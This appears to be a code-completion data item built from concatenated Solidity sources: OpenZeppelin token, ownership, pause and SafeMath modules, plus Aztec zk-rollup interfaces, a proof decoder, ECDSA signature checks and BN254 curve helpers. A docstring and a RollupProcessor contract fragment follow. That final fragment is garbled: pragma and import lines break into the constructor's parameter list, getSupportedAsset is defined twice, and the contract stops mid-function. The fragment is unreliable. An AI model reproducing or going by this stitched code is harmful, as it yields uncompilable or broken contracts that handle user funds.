* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
interface IVerifier {
function verify(bytes memory serialized_proof, uint256 _keyId) external;
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
interface IRollupProcessor {
function feeDistributor() external view returns (address);
function escapeHatch(
bytes calldata proofData,
bytes calldata signatures,
bytes calldata viewingKeys
) external;
function processRollup(
bytes calldata proofData,
bytes calldata signatures,
bytes calldata viewingKeys,
bytes calldata providerSignature,
address provider,
address payable feeReceiver,
uint256 feeLimit
) external;
function depositPendingFunds(
uint256 assetId,
uint256 amount,
address owner
) external payable;
function depositPendingFundsPermit(
uint256 assetId,
uint256 amount,
address owner,
address spender,
uint256 permitApprovalAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function setRollupProvider(address provderAddress, bool valid) external;
function approveProof(bytes32 _proofHash) external;
function setFeeDistributor(address feeDistributorAddress) external;
function setVerifier(address verifierAddress) external;
function setSupportedAsset(address linkedToken, bool supportsPermit) external;
function setAssetPermitSupport(uint256 assetId, bool supportsPermit) external;
function getSupportedAsset(uint256 assetId) external view returns (address);
function getSupportedAssets() external view returns (address[] memory);
function getTotalDeposited() external view returns (uint256[] memory);
function getTotalWithdrawn() external view returns (uint256[] memory);
function getTotalPendingDeposit() external view returns (uint256[] memory);
function getTotalFees() external view returns (uint256[] memory);
function getAssetPermitSupport(uint256 assetId) external view returns (bool);
function getEscapeHatchStatus() external view returns (bool, uint256);
function getUserPendingDeposit(uint256 assetId, address userAddress) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
interface IFeeDistributor {
event FeeReimbursed(address receiver, uint256 amount);
function txFeeBalance(uint256 assetId) external view returns (uint256);
function deposit(uint256 assetId, uint256 amount) external payable returns (uint256 depositedAmount);
function reimburseGas(
uint256 gasUsed,
uint256 feeLimit,
address payable feeReceiver
) external returns (uint256 reimbursement);
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
interface IERC20Permit is IERC20 {
function nonces(address user) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol';
import {Types} from './verifier/cryptography/Types.sol';
import {Bn254Crypto} from './verifier/cryptography/Bn254Crypto.sol';
contract Decoder {
using SafeMath for uint256;
/**
* @dev Decode the public inputs component of proofData. Required to update state variables
* @param proofData - cryptographic proofData associated with a rollup
*/
function decodeProof(bytes memory proofData, uint256 numberOfAssets)
internal
pure
returns (
uint256[4] memory nums,
bytes32 oldDataRoot,
bytes32 newDataRoot,
bytes32 oldNullRoot,
bytes32 newNullRoot,
bytes32 oldRootRoot,
bytes32 newRootRoot
)
{
uint256 rollupId;
uint256 rollupSize;
uint256 dataStartIndex;
uint256 numTxs;
assembly {
let dataStart := add(proofData, 0x20) // jump over first word, it's length of data
rollupId := mload(dataStart)
rollupSize := mload(add(dataStart, 0x20))
dataStartIndex := mload(add(dataStart, 0x40))
oldDataRoot := mload(add(dataStart, 0x60))
newDataRoot := mload(add(dataStart, 0x80))
oldNullRoot := mload(add(dataStart, 0xa0))
newNullRoot := mload(add(dataStart, 0xc0))
oldRootRoot := mload(add(dataStart, 0xe0))
newRootRoot := mload(add(dataStart, 0x100))
numTxs := mload(add(add(dataStart, 0x120), mul(0x20, numberOfAssets)))
}
return (
[rollupId, rollupSize, dataStartIndex, numTxs],
oldDataRoot,
newDataRoot,
oldNullRoot,
newNullRoot,
oldRootRoot,
newRootRoot
);
}
function extractTotalTxFee(bytes memory proofData, uint256 assetId) internal pure returns (uint256) {
uint256 totalTxFee;
assembly {
totalTxFee := mload(add(add(proofData, 0x140), mul(0x20, assetId)))
}
return totalTxFee;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
library RollupProcessorLibrary {
/**
* Extracts the address of the signer with ECDSA. Performs checks on `s` and `v` to
* to prevent signature malleability based attacks
* @param digest - Hashed data being signed over.
* @param signature - ECDSA signature over the secp256k1 elliptic curve.
* @param signer - Address that signs the signature.
*/
function validateSignature(
bytes32 digest,
bytes memory signature,
address signer
) internal view {
bool result;
address recoveredSigner = address(0x0);
require(signer != address(0x0), 'validateSignature: ZERO_ADDRESS');
// prepend "\x19Ethereum Signed Message:\n32" to the digest to create the signed message
bytes32 message;
assembly {
mstore(0, "\x19Ethereum Signed Message:\n32")
mstore(add(0, 28), digest)
message := keccak256(0, 60)
}
assembly {
let mPtr := mload(0x40)
let byteLength := mload(signature)
// store the signature digest
mstore(mPtr, message)
// load 'v' - we need it for a condition check
// add 0x60 to jump over 3 words - length of bytes array, r and s
let v := shr(248, mload(add(signature, 0x60))) // bitshifting, to resemble padLeft
let s := mload(add(signature, 0x40))
/**
* Original memory map for input to precompile
*
* signature : signature + 0x20 message
* signature + 0x20 : signature + 0x40 r
* signature + 0x40 : signature + 0x60 s
* signature + 0x60 : signature + 0x80 v
* Desired memory map for input to precompile
*
* signature : signature + 0x20 message
* signature + 0x20 : signature + 0x40 v
* signature + 0x40 : signature + 0x60 r
* signature + 0x60 : signature + 0x80 s
*/
// store s
mstore(add(mPtr, 0x60), s)
// store r
mstore(add(mPtr, 0x40), mload(add(signature, 0x20)))
// store v
mstore(add(mPtr, 0x20), v)
result := and(
and(
// validate s is in lower half order
lt(s, 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A1),
and(
// validate signature length == 0x41
eq(byteLength, 0x41),
// validate v == 27 or v == 28
or(eq(v, 27), eq(v, 28))
)
),
// validate call to ecrecover precompile succeeds
staticcall(gas(), 0x01, mPtr, 0x80, mPtr, 0x20)
)
// save the recoveredSigner only if the first word in signature is not `message` anymore
switch eq(message, mload(mPtr))
case 0 {
recoveredSigner := mload(mPtr)
}
mstore(mPtr, byteLength) // and put the byte length back where it belongs
// validate that recoveredSigner is not address(0x00)
result := and(result, not(iszero(recoveredSigner)))
}
require(result, 'validateSignature: signature recovery failed');
require(recoveredSigner == signer, 'validateSignature: INVALID_SIGNATURE');
}
/**
* Extracts the address of the signer with ECDSA. Performs checks on `s` and `v` to
* to prevent signature malleability based attacks
* This 'Unpacked' version expects 'signature' to be a 92-byte array.
* i.e. the `v` parameter occupies a full 32 bytes of memory, not 1 byte
* @param digest - Hashed data being signed over.
* @param signature - ECDSA signature over the secp256k1 elliptic curve.
* @param signer - Address that signs the signature.
*/
function validateUnpackedSignature(
bytes32 digest,
bytes memory signature,
address signer
) internal view {
bool result;
address recoveredSigner = address(0x0);
require(signer != address(0x0), 'validateSignature: ZERO_ADDRESS');
// prepend "\x19Ethereum Signed Message:\n32" to the digest to create the signed message
bytes32 message;
assembly {
mstore(0, "\x19Ethereum Signed Message:\n32")
mstore(28, digest)
message := keccak256(0, 60)
}
assembly {
// There's a little trick we can pull. We expect `signature` to be a byte array, of length 0x60, with
// 'v', 'r' and 's' located linearly in memory. Preceeding this is the length parameter of `signature`.
// We *replace* the length param with the signature msg to get a memory block formatted for the precompile
// load length as a temporary variable
// N.B. we mutate the signature by re-ordering r, s, and v!
let byteLength := mload(signature)
// store the signature digest
mstore(signature, message)
// load 'v' - we need it for a condition check
// add 0x60 to jump over 3 words - length of bytes array, r and s
let v := mload(add(signature, 0x60))
let s := mload(add(signature, 0x40))
/**
* Original memory map for input to precompile
*
* signature : signature + 0x20 message
* signature + 0x20 : signature + 0x40 r
* signature + 0x40 : signature + 0x60 s
* signature + 0x60 : signature + 0x80 v
* Desired memory map for input to precompile
*
* signature : signature + 0x20 message
* signature + 0x20 : signature + 0x40 v
* signature + 0x40 : signature + 0x60 r
* signature + 0x60 : signature + 0x80 s
*/
// move s to v position
mstore(add(signature, 0x60), s)
// move r to s position
mstore(add(signature, 0x40), mload(add(signature, 0x20)))
// move v to r position
mstore(add(signature, 0x20), v)
result := and(
and(
// validate s is in lower half order
lt(s, 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A1),
and(
// validate signature length == 0x60 (unpacked)
eq(byteLength, 0x60),
// validate v == 27 or v == 28
or(eq(v, 27), eq(v, 28))
)
),
// validate call to ecrecover precompile succeeds
staticcall(gas(), 0x01, signature, 0x80, signature, 0x20)
)
// save the recoveredSigner only if the first word in signature is not `message` anymore
switch eq(message, mload(signature))
case 0 {
recoveredSigner := mload(signature)
}
mstore(signature, byteLength) // and put the byte length back where it belongs
// validate that recoveredSigner is not address(0x00)
result := and(result, not(iszero(recoveredSigner)))
}
require(result, 'validateSignature: signature recovery failed');
require(recoveredSigner == signer, 'validateSignature: INVALID_SIGNATURE');
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
/**
* @title Bn254Crypto library used for the fr, g1 and g2 point types
* @dev Used to manipulate fr, g1, g2 types, perform modular arithmetic on them and call
* the precompiles add, scalar mul and pairing
*
* Notes on optimisations
* 1) Perform addmod, mulmod etc. in assembly - removes the check that Solidity performs to confirm that
* the supplied modulus is not 0. This is safe as the modulus's used (r_mod, q_mod) are hard coded
* inside the contract and not supplied by the user
*/
library Types {
uint256 constant PROGRAM_WIDTH = 4;
uint256 constant NUM_NU_CHALLENGES = 11;
uint256 constant coset_generator0 = 0x0000000000000000000000000000000000000000000000000000000000000005;
uint256 constant coset_generator1 = 0x0000000000000000000000000000000000000000000000000000000000000006;
uint256 constant coset_generator2 = 0x0000000000000000000000000000000000000000000000000000000000000007;
// TODO: add external_coset_generator() method to compute this
uint256 constant coset_generator7 = 0x000000000000000000000000000000000000000000000000000000000000000c;
struct G1Point {
uint256 x;
uint256 y;
}
// G2 group element where x \in Fq2 = x0 * z + x1
struct G2Point {
uint256 x0;
uint256 x1;
uint256 y0;
uint256 y1;
}
// N>B. Do not re-order these fields! They must appear in the same order as they
// appear in the proof data
struct Proof {
G1Point W1;
G1Point W2;
G1Point W3;
G1Point W4;
G1Point Z;
G1Point T1;
G1Point T2;
G1Point T3;
G1Point T4;
uint256 w1;
uint256 w2;
uint256 w3;
uint256 w4;
uint256 sigma1;
uint256 sigma2;
uint256 sigma3;
uint256 q_arith;
uint256 q_ecc;
uint256 q_c;
uint256 linearization_polynomial;
uint256 grand_product_at_z_omega;
uint256 w1_omega;
uint256 w2_omega;
uint256 w3_omega;
uint256 w4_omega;
G1Point PI_Z;
G1Point PI_Z_OMEGA;
G1Point recursive_P1;
G1Point recursive_P2;
uint256 quotient_polynomial_eval;
}
struct ChallengeTranscript {
uint256 alpha_base;
uint256 alpha;
uint256 zeta;
uint256 beta;
uint256 gamma;
uint256 u;
uint256 v0;
uint256 v1;
uint256 v2;
uint256 v3;
uint256 v4;
uint256 v5;
uint256 v6;
uint256 v7;
uint256 v8;
uint256 v9;
uint256 v10;
}
struct VerificationKey {
uint256 circuit_size;
uint256 num_inputs;
uint256 work_root;
uint256 domain_inverse;
uint256 work_root_inverse;
G1Point Q1;
G1Point Q2;
G1Point Q3;
G1Point Q4;
G1Point Q5;
G1Point QM;
G1Point QC;
G1Point QARITH;
G1Point QECC;
G1Point QRANGE;
G1Point QLOGIC;
G1Point SIGMA1;
G1Point SIGMA2;
G1Point SIGMA3;
G1Point SIGMA4;
bool contains_recursive_proof;
uint256 recursive_proof_indices;
G2Point g2_x;
// zeta challenge raised to the power of the circuit size.
// Not actually part of the verification key, but we put it here to prevent stack depth errors
uint256 zeta_pow_n;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from "./Types.sol";
/**
* @title Bn254 elliptic curve crypto
* @dev Provides some basic methods to compute bilinear pairings, construct group elements and misc numerical methods
*/
library Bn254Crypto {
uint256 constant p_mod = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
// Perform a modular exponentiation. This method is ideal for small exponents (~64 bits or less), as
// it is cheaper than using the pow precompile
function pow_small(
uint256 base,
uint256 exponent,
uint256 modulus
) internal pure returns (uint256) {
uint256 result = 1;
uint256 input = base;
uint256 count = 1;
assembly {
let endpoint := add(exponent, 0x01)
for {} lt(count, endpoint) { count := add(count, count) }
{
if and(exponent, count) {
result := mulmod(result, input, modulus)
}
input := mulmod(input, input, modulus)
}
}
return result;
}
function invert(uint256 fr) internal view returns (uint256)
{
uint256 output;
bool success;
uint256 p = r_mod;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, 0x20)
mstore(add(mPtr, 0x20), 0x20)
mstore(add(mPtr, 0x40), 0x20)
mstore(add(mPtr, 0x60), fr)
mstore(add(mPtr, 0x80), sub(p, 2))
mstore(add(mPtr, 0xa0), p)
success := staticcall(gas(), 0x05, mPtr, 0xc0, 0x00, 0x20)
output := mload(0x00)
}
require(success, "pow precompile call failed!");
return output;
}
function new_g1(uint256 x, uint256 y)
internal
pure
returns (Types.G1Point memory)
{
uint256 xValue;
uint256 yValue;
assembly {
xValue := mod(x, r_mod)
yValue := mod(y, r_mod)
}
return Types.G1Point(xValue, yValue);
}
function new_g2(uint256 x0, uint256 x1, uint256 y0, uint256 y1)
internal
pure
returns (Types.G2Point memory)
{
return Types.G2Point(x0, x1, y0, y1);
}
function P1() internal pure returns (Types.G1Point memory) {
return Types.G1Point(1, 2);
}
function P2() internal pure returns (Types.G2Point memory) {
return Types.G2Point({
x0: 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2,
x1: 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed,
y0: 0x090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b,
y1: 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa
});
}
/// Evaluate the following pairing product:
/// e(a1, a2).e(-b1, b2) == 1
function pairingProd2(
Types.G1Point memory a1,
Types.G2Point memory a2,
Types.G1Point memory b1,
Types.G2Point memory b2
) internal view returns (bool) {
validateG1Point(a1);
validateG1Point(b1);
bool success;
uint256 out;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(a1))
mstore(add(mPtr, 0x20), mload(add(a1, 0x20)))
mstore(add(mPtr, 0x40), mload(a2))
mstore(add(mPtr, 0x60), mload(add(a2, 0x20)))
mstore(add(mPtr, 0x80), mload(add(a2, 0x40)))
mstore(add(mPtr, 0xa0), mload(add(a2, 0x60)))
mstore(add(mPtr, 0xc0), mload(b1))
mstore(add(mPtr, 0xe0), mload(add(b1, 0x20)))
mstore(add(mPtr, 0x100), mload(b2))
mstore(add(mPtr, 0x120), mload(add(b2, 0x20)))
mstore(add(mPtr, 0x140), mload(add(b2, 0x40)))
mstore(add(mPtr, 0x160), mload(add(b2, 0x60)))
success := staticcall(
gas(),
8,
mPtr,
0x180,
0x00,
0x20
)
out := mload(0x00)
}
require(success, "Pairing check failed!");
return (out != 0);
}
/**
* validate the following:
* x != 0
* y != 0
* x < p
* y < p
* y^2 = x^3 + 3 mod p
*/
function validateG1Point(Types.G1Point memory point) internal pure {
bool is_well_formed;
uint256 p = p_mod;
assembly {
let x := mload(point)
let y := mload(add(point, 0x20))
is_well_formed := and(
and(
and(lt(x, p), lt(y, p)),
not(or(iszero(x), iszero(y)))
),
eq(mulmod(y, y, p), addmod(mulmod(x, mulmod(x, x, p), p), 3, p))
)
}
require(is_well_formed, "Bn254: G1 point not on curve, or is malformed");
}
} | * @title Rollup Processor @dev Smart contract responsible for processing Aztec zkRollups, including relaying them to a verifier contract for validation and performing all relevant ERC20 token transfers/ Array of supported ERC20 token address. Mapping which maps an asset address to a bool, determining whether it supports permit as according to ERC-2612 Mapping from assetId to mapping of userAddress to public userBalance stored on this contract Metrics | contract RollupProcessor is IRollupProcessor, Decoder, Ownable, Pausable {
using SafeMath for uint256;
bytes32 public dataRoot = 0x2708a627d38d74d478f645ec3b4e91afa325331acf1acebe9077891146b75e39;
bytes32 public nullRoot = 0x2694dbe3c71a25d92213422d392479e7b8ef437add81e1e17244462e6edca9b1;
bytes32 public rootRoot = 0x2d264e93dc455751a721aead9dba9ee2a9fef5460921aeede73f63f6210e6851;
uint256 public dataSize;
uint256 public nextRollupId;
IVerifier public verifier;
uint256 public constant numberOfAssets = 4;
uint256 public constant txNumPubInputs = 12;
uint256 public constant rollupNumPubInputs = 10 + numberOfAssets;
uint256 public constant rollupPubInputLength = rollupNumPubInputs * 32;
uint256 public constant ethAssetId = 0;
uint256 public immutable escapeBlockLowerBound;
uint256 public immutable escapeBlockUpperBound;
event RollupProcessed(
uint256 indexed rollupId,
bytes32 dataRoot,
bytes32 nullRoot,
bytes32 rootRoot,
uint256 dataSize
);
event Deposit(uint256 assetId, address depositorAddress, uint256 depositValue);
event Withdraw(uint256 assetId, address withdrawAddress, uint256 withdrawValue);
event WithdrawError(bytes errorReason);
event AssetAdded(uint256 indexed assetId, address indexed assetAddress);
event RollupProviderUpdated(address indexed providerAddress, bool valid);
event VerifierUpdated(address indexed verifierAddress);
address[] public supportedAssets;
mapping(address => bool) assetPermitSupport;
mapping(uint256 => mapping(address => uint256)) public userPendingDeposits;
mapping(address => mapping(bytes32 => bool)) public depositProofApprovals;
mapping(address => bool) public rollupProviders;
address public override feeDistributor;
uint256[] public totalPendingDeposit;
uint256[] public totalDeposited;
uint256[] public totalWithdrawn;
uint256[] public totalFees;
constructor(
address _verifierAddress,
uint256 _escapeBlockLowerBound,
uint256 _escapeBlockUpperBound,
address _contractOwner
pragma solidity >=0.6.10 <0.8.0;
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol';
import {Pausable} from '@openzeppelin/contracts/utils/Pausable.sol';
import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol';
import {IVerifier} from './interfaces/IVerifier.sol';
import {IRollupProcessor} from './interfaces/IRollupProcessor.sol';
import {IFeeDistributor} from './interfaces/IFeeDistributor.sol';
import {IERC20Permit} from './interfaces/IERC20Permit.sol';
import {Decoder} from './Decoder.sol';
) public {
verifier = IVerifier(_verifierAddress);
escapeBlockLowerBound = _escapeBlockLowerBound;
escapeBlockUpperBound = _escapeBlockUpperBound;
rollupProviders[msg.sender] = true;
totalPendingDeposit.push(0);
totalDeposited.push(0);
totalWithdrawn.push(0);
totalFees.push(0);
transferOwnership(_contractOwner);
}
function setRollupProvider(address providerAddress, bool valid) public override onlyOwner {
rollupProviders[providerAddress] = valid;
emit RollupProviderUpdated(providerAddress, valid);
}
function setVerifier(address _verifierAddress) public override onlyOwner {
verifier = IVerifier(_verifierAddress);
emit VerifierUpdated(_verifierAddress);
}
function setFeeDistributor(address feeDistributorAddress) public override onlyOwner {
feeDistributor = feeDistributorAddress;
}
function approveProof(bytes32 _proofHash) public override whenNotPaused {
depositProofApprovals[msg.sender][_proofHash] = true;
}
function getSupportedAsset(uint256 assetId) public view override returns (address) {
if (assetId == ethAssetId) {
return address(0x0);
}
return supportedAssets[assetId - 1];
}
function getSupportedAsset(uint256 assetId) public view override returns (address) {
if (assetId == ethAssetId) {
return address(0x0);
}
return supportedAssets[assetId - 1];
}
function getSupportedAssets() external view override returns (address[] memory) {
return supportedAssets;
}
function getTotalDeposited() external view override returns (uint256[] memory) {
return totalDeposited;
}
function getTotalWithdrawn() external view override returns (uint256[] memory) {
return totalWithdrawn;
}
function getTotalPendingDeposit() external view override returns (uint256[] memory) {
return totalPendingDeposit;
}
function getTotalFees() external view override returns (uint256[] memory) {
return totalFees;
}
function getAssetPermitSupport(uint256 assetId) external view override returns (bool) {
address assetAddress = getSupportedAsset(assetId);
return assetPermitSupport[assetAddress];
